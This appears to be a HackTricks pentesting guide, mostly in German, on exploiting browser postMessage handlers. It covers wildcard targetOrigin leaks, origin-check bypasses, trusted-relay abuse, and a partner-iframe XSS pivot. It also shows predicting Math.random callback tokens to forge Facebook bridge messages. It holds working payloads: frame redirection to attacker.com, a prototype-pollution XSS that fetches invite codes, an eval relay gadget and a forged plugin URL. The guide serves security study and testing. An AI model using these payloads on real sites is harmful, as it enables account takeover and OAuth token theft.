PostMessage Schwachstellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Senden von PostMessage

PostMessage verwendet die folgende Funktion, um eine Nachricht zu senden:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Beachte, dass targetOrigin ein ‘*’ oder eine URL wie https://company.com. sein kann.
Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der origin des window object anders ist).
Wenn das wildcard verwendet wird, können Nachrichten an jede Domain gesendet werden, und sie werden an den origin des window object gesendet.

Angriff auf iframe & wildcard in targetOrigin

Wie in this report erklärt: wenn du eine Seite findest, die iframed werden kann (kein X-Frame-Header-Schutz) und die sensible Nachrichten via postMessage unter Verwendung eines wildcard (*) sendet, kannst du die origin des iframe ändern und die sensitive Nachricht an eine von dir kontrollierte Domain leak.
Beachte, dass wenn die Seite iframed werden kann, aber das targetOrigin auf eine URL gesetzt ist und nicht auf ein wildcard, dieser Trick nicht funktionieren wird.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Ausnutzung von addEventListener

addEventListener ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages erwartet.
Ein Code, der dem folgenden ähnelt, wird verwendet:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Beachte in diesem Fall, wie das erste, was der Code tut, das Prüfen der origin ist. Das ist extrem wichtig, vor allem wenn die Seite mit den empfangenen Informationen etwas Sensitives macht (z. B. ein Passwort ändert). Wenn sie die origin nicht prüft, können Angreifer Opfer dazu bringen, beliebige Daten an diese endpoints zu senden und in diesem Beispiel die Passwörter der Opfer zu ändern.

Aufspüren

Um event listeners auf der aktuellen Seite zu finden, kannst du:

  • Im JS-Code suchen nach window.addEventListener und $(window).on (JQuery version)
  • In der Developer-Tools-Konsole ausführen: getEventListeners(window)

  • Gehe zu Elements –> Event Listeners in den Developer Tools des Browsers

Umgehungen der Origin-Prüfung

  • event.isTrusted-Attribut gilt als sicher, da es True nur für Events zurückgibt, die durch echte Benutzeraktionen erzeugt wurden. Obwohl es schwer zu umgehen ist, wenn es korrekt implementiert ist, ist seine Bedeutung für Sicherheitsprüfungen nicht zu unterschätzen.
  • Die Verwendung von indexOf() zur Validierung der origin in PostMessage-Events kann umgangen werden. Ein Beispiel, das diese Verwundbarkeit zeigt, ist:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Die search()-Methode von String.prototype.search() ist für reguläre Ausdrücke gedacht, nicht für Strings. Wenn man etwas anderes als ein RegExp übergibt, wird es implizit zu einem Regex konvertiert, wodurch die Methode potenziell unsicher wird. Das liegt daran, dass im Regex ein Punkt (.) als Wildcard fungiert, was das Umgehen der Validierung mit speziell konstruierten Domains ermöglicht. Zum Beispiel:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Die match()-Funktion ähnelt search() und verarbeitet Regex. Wenn der Regex schlecht aufgebaut ist, kann er umgangen werden.

  • Die escapeHtml-Funktion soll Eingaben durch Escapen von Zeichen sanitizen. Allerdings erzeugt sie kein neues escaped-Objekt, sondern überschreibt die Eigenschaften des existierenden Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft hasOwnProperty nicht erkennt, wird escapeHtml nicht wie erwartet ausgeführt. Das wird in den folgenden Beispielen gezeigt:

  • Erwartetes Fehlschlagen:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Umgehen des Escapes:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Im Kontext dieser Verwundbarkeit ist das File-Objekt besonders ausnutzbar aufgrund seiner read-only name-Eigenschaft. Diese Eigenschaft wird, wenn sie in Templates verwendet wird, nicht von escapeHtml gesäubert, was zu potenziellen Sicherheitsrisiken führt.

  • Die document.domain-Eigenschaft in JavaScript kann von einem Script gesetzt werden, um die Domain zu verkürzen und eine lockerere Same-Origin-Policy innerhalb der gleichen Parent-Domain zu ermöglichen.

Origin-only trust + trusted relays

Wenn ein Empfänger nur event.origin prüft (z. B. vertraut jedem *.trusted.com), kannst du oft eine “relay”-Seite auf dieser origin finden, die angreifer-kontrollierte Parameter via postMessage an ein übergebenes targetOrigin/targetWindow zurückspiegelt. Beispiele sind Marketing-/Analytics-Gadgets, die Query-Parameter nehmen und {msg_type, access_token, ...} an opener/parent weiterleiten. Du kannst:

  • Die Opferseite in einem Popup/iframe öffnen, das einen opener hat, sodass dessen Handler registriert werden (viele pixels/SDKs hängen Listener nur an, wenn window.opener existiert).
  • Ein anderes Angreiferfenster zur Relay-Endpoint auf der trusted origin navigieren, und die Message-Felder mit den gewünschten Werten füllen (message type, tokens, nonces).
  • Weil die Nachricht jetzt von der trusted origin kommt, besteht die origin-only Validierung und du kannst privilegierte Aktionen (State-Änderungen, API-Aufrufe, DOM-Schreiboperationen) im Listener des Opfers auslösen.

Missbrauchsmuster in freier Wildbahn:

  • Analytics-SDKs (z. B. pixel/fbevents-Stil) konsumieren Nachrichten wie FACEBOOK_IWL_BOOTSTRAP, rufen dann Backend-APIs mit einem im Message übergebenen Token auf und fügen location.href / document.referrer in den Request-Body ein. Wenn du dein eigenes Token lieferst, kannst du diese Requests im Request-History/Logs des Tokens lesen und OAuth-Codes/Token exfiltrieren, die in der URL/referrer der Opferseite enthalten sind.
  • Jeder Relay, der beliebige Felder in postMessage reflektiert, erlaubt dir, Message-Typen zu spoofen, die von privilegierten Listenern erwartet werden. Kombiniert mit schwacher Input-Validierung lassen sich so Graph/REST-Aufrufe, Feature-Unlocks oder CSRF-äquivalente Flows erreichen.

Hunting-Tipps: Enumeriere postMessage-Listener, die nur event.origin prüfen, und suche dann nach gleichorigin HTML/JS-Endpunkten, die URL-Parameter via postMessage weiterleiten (Marketing-Previews, Login-Popups, OAuth-Error-Pages). Verknüpfe beides mit window.open() + postMessage, um Origin-Checks zu umgehen.

e.origin == window.origin bypass

Beim Einbetten einer Webseite in ein sandboxed iframe mit %%%%%% ist es wichtig zu verstehen, dass die origin des iframes auf null gesetzt wird. Das ist besonders relevant im Zusammenhang mit sandbox-Attributen und deren Auswirkungen auf Sicherheit und Funktionalität.

Wenn man in den sandbox-Attributen allow-popups angibt, erben alle aus dem iframe geöffneten Popups die Sandbox-Beschränkungen des Elternteils. Das heißt, es sei denn, das Attribut allow-popups-to-escape-sandbox ist ebenfalls gesetzt, wird die origin des Popups ebenfalls auf null gesetzt und entspricht damit der origin des iframes.

Folglich, wenn unter diesen Bedingungen ein Popup geöffnet wird und eine Nachricht vom iframe an das Popup mit postMessage gesendet wird, haben sowohl Sender als auch Empfänger ihre origin auf null gesetzt. Dies führt zu einer Situation, in der e.origin == window.origin auf true evaluiert (null == null), weil sowohl das iframe als auch das Popup denselben origin-Wert null teilen.

For more information read:

Bypassing SOP with Iframes - 1

Umgehung von e.source

Es ist möglich zu prüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Script lauscht (besonders interessant für Content Scripts von browser extensions, um zu prüfen, ob die Nachricht von derselben Seite gesendet wurde):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Du kannst e.source einer Nachricht auf null setzen, indem du ein iframe erstellst, das die postMessage sendet und sofort gelöscht wird.

Für weitere Informationen lies:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Um diese Angriffe durchzuführen solltest du idealerweise die Webseite des Opfers in ein iframe einbetten. Aber manche Header wie X-Frame-Header können dieses Verhalten verhindern.
In solchen Szenarien kannst du trotzdem einen weniger stealthy Angriff verwenden. Du kannst einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Abgreifen einer an ein child iframe gesendeten Nachricht durch Blockieren der Hauptseite

Auf der folgenden Seite kannst du sehen, wie du sensible postmessage-Daten, die an ein child iframe gesendet werden, abgreifen könntest, indem du die Hauptseite blockierst, bevor die Daten gesendet werden, und eine XSS in the child ausnutzt, um leak the data bevor sie empfangen werden:

Blocking main page to steal postmessage

Abgreifen einer Nachricht durch Ändern der iframe-Location

Wenn du eine Webseite ohne X-Frame-Header iframen kannst, die ein weiteres iframe enthält, kannst du die Location dieses child iframe ändern, sodass, falls es eine postmessage empfängt, die mit einem wildcard gesendet wurde, ein Angreifer die origin dieses iframe auf eine von ihm kontrollierte Seite ändern und die Nachricht abgreifen könnte:

Steal postmessage modifying iframe location

postMessage zu Prototype Pollution und/oder XSS

In Szenarien, in denen die über postMessage gesendeten Daten von JS ausgeführt werden, kannst du die Seite iframen und die prototype pollution/XSS ausnutzen, indem du das Exploit per postMessage sendest.

Ein paar sehr gut erklärte XSS-Examples through postMessage findest du unter https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Beispiel für ein Exploit, um Prototype Pollution und anschließend XSS über ein postMessage an ein iframe auszunutzen:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Für weitere Informationen:

Origin-abgeleitetes Laden von Skripten & Supply-Chain-Pivot (CAPIG-Fallstudie)

capig-events.js registrierte einen message-Handler nur, wenn window.opener existierte. Bei IWL_BOOTSTRAP prüfte es pixel_id, speicherte jedoch event.origin und verwendete es später, um ${host}/sdk/${pixel_id}/iwl.js zu bauen.

Handler, der einen vom Angreifer kontrollierten Origin schreibt ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: z. B. in Facebook Android WebView window.name mit window.open(target, name) wiederverwenden, sodass das Fenster sein eigener opener wird, then post a message from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.

Backend-generated shared script → stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.

Trusted-origin allowlist isn’t a boundary

A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

In der Praxis beobachtetes Angriffsmuster:

  1. XSS im Partner-iframe ausnutzen und dort ein relay gadget ablegen, sodass jede postMessage zu code exec innerhalb der vertrauenswürdigen Origin wird:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, sende JS an das kompromittierte iframe, das einen allowed message type zurück an den parent weiterleitet. Die Nachricht stammt von partner.com, passiert die allowlist und enthält HTML, das unsicher eingefügt wird:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Das Parent-Frame injiziert das Angreifer-HTML, wodurch eine JS-Ausführung in der übergeordneten Origin (z. B. facebook.com) entsteht, die dann zum Stehlen von OAuth-Codes oder zum Pivotieren auf vollständige Account-Übernahmen genutzt werden kann.

Key takeaways:

  • Partner origin isn’t a boundary: jede XSS in einem „vertrauenswürdigen“ Partner erlaubt Angreifern, erlaubte Nachrichten zu senden, die event.origin-Prüfungen umgehen.
  • Handler, die partner-controlled payloads rendern (z. B. innerHTML für bestimmte Nachrichtentypen), verwandeln eine Kompromittierung des Partners in ein same-origin DOM XSS.
  • Eine große message surface (viele Typen, keine Strukturvalidierung) bietet mehr Gadgets zum Pivotieren, sobald ein Partner-iframe kompromittiert ist.

Predicting Math.random() callback tokens in postMessage bridges

When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Mehr Ausgaben ohne Reloads erzwingen: Einige SDKs bieten einen Reinit-Pfad; im FB SDK erzwingt das Senden von init:post mit {xfbml:1} XFBML.parse(), zerstört/rekonstruiert das Plugin-iframe und erzeugt neue Namen/Callback-IDs. Wiederholte Reinit erzeugt so viele PRNG-Ausgaben wie nötig (Achtung: zusätzliche interne Math.random()-Aufrufe für Callback-/iframe-IDs, daher müssen Solver intervenierende Werte überspringen).
  • Trusted-origin delivery via parameter pollution: Wenn ein First-Party-Plugin-Endpunkt einen nicht sanierten Parameter in die cross-window-Payload reflektiert (z. B. /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), kannst du &type=...&iconSVG=... injizieren und dabei die vertrauenswürdige facebook.com-Origin beibehalten.
  • Predict the next callback: Wandelt geleakte iframe-Namen zurück in Floats in [0,1) und füttert mehrere Werte (auch nicht aufeinanderfolgende) in einen V8 Math.random-Predictor (z. B. Z3-basiert). Generiert lokal das nächste guid() um das erwartete Callback-Token zu fälschen.
  • Trigger the sink: Konfiguriere die postMessage-Daten so, dass die Bridge xd.mpn.setupIconIframe dispatcht und HTML in iconSVG injiziert (z. B. URL-kodiertes <img src=x onerror=...>), wodurch DOM XSS in der Hosting-Origin erzielt wird; von dort können same-origin iframes (OAuth-Dialoge, arbiters usw.) ausgelesen werden.
  • Framing quirks help: Die Kette erfordert Framing. In einigen mobilen Webviews kann X-Frame-Options auf nicht unterstütztes ALLOW-FROM degradiert werden, wenn frame-ancestors vorhanden ist, und „compat“-Parameter können permissive frame-ancestors erzwingen, wodurch der window.name Side-Channel ermöglicht wird.

Minimales Beispiel einer gefälschten Nachricht

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks